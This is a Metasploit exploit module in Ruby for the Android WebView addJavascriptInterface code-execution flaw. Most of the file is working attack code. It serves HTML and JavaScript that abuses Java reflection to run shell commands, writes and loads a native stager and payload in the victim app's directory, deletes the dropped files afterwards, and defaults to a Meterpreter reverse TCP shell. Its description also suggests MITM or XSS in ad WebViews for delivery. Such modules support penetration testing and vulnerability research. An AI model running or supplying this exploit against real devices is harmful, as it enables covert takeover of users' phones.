##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_flavor  => "Android",
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => %Q|
      for (i in top) {
        try {
          top[i].getClass().forName('java.lang.Runtime');
          is_vuln = true; break;
        } catch(e) {}
      }
    |
  })

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description' => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'     => MSF_LICENSE,
      'Author'      => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'     => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
      ],
      'Platform'       => 'android',
      'Arch'           => ARCH_DALVIK,
      'DefaultOptions' => { 'PAYLOAD'  => 'android/meterpreter/reverse_tcp', },
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DisclosureDate' => 'Dec 21 2012',
      'DefaultTarget'  => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :os_flavor  => "Android",
        :arch       => ARCH_ARMLE
      }
    ))
  end

  def on_request_uri(cli, req)
    if req.uri.end_with?('js')
      print_status("Serving javascript")
      send_response(cli, js, 'Content-type' => 'text/javascript')
    else
      print_status("Serving exploit HTML")
      send_response_html(cli, html)
    end
  end

  def ndkstager(stagename)
    localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so')
    data = File.read(localfile, :mode => 'rb')
    data.gsub!('PLOAD', stagename)
  end

  def js
    stagename = Rex::Text.rand_text_alpha(5)
    %Q|
      function exec(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the pid
        var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null);

        // get the runtime so we can exec
        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
        var runtime = m.invoke(null, null);
        var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";
        var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}";

        // get the process name, which will give us our data path
        // $PPID does not seem to work on android 4.0, so we concat pids manually
        var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
        var ch, path = '/data/data/';
        while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); }
        var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
        var stagePath = path + '/#{stagename}.apk';
        var dexPath = path + '/#{stagename}.dex';

        // build the library and chmod it
        runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
        runtime.exec(['chmod', '700', libraryPath]).waitFor();

        // build the stage, chmod it, and load it
        runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
        runtime.exec(['chmod', '700', stagePath]).waitFor();

        runtime.load(libraryPath);
        runtime.exec(['rm', stagePath]).waitFor();
        runtime.exec(['rm', libraryPath]).waitFor();
        runtime.exec(['rm', dexPath]).waitFor();

        return true;
      }

      for (i in top) { if (exec(top[i]) === true) break; }
    |
  end

  def html
    "<!doctype html><html><body><script>#{js}</script></body></html>"
  end
end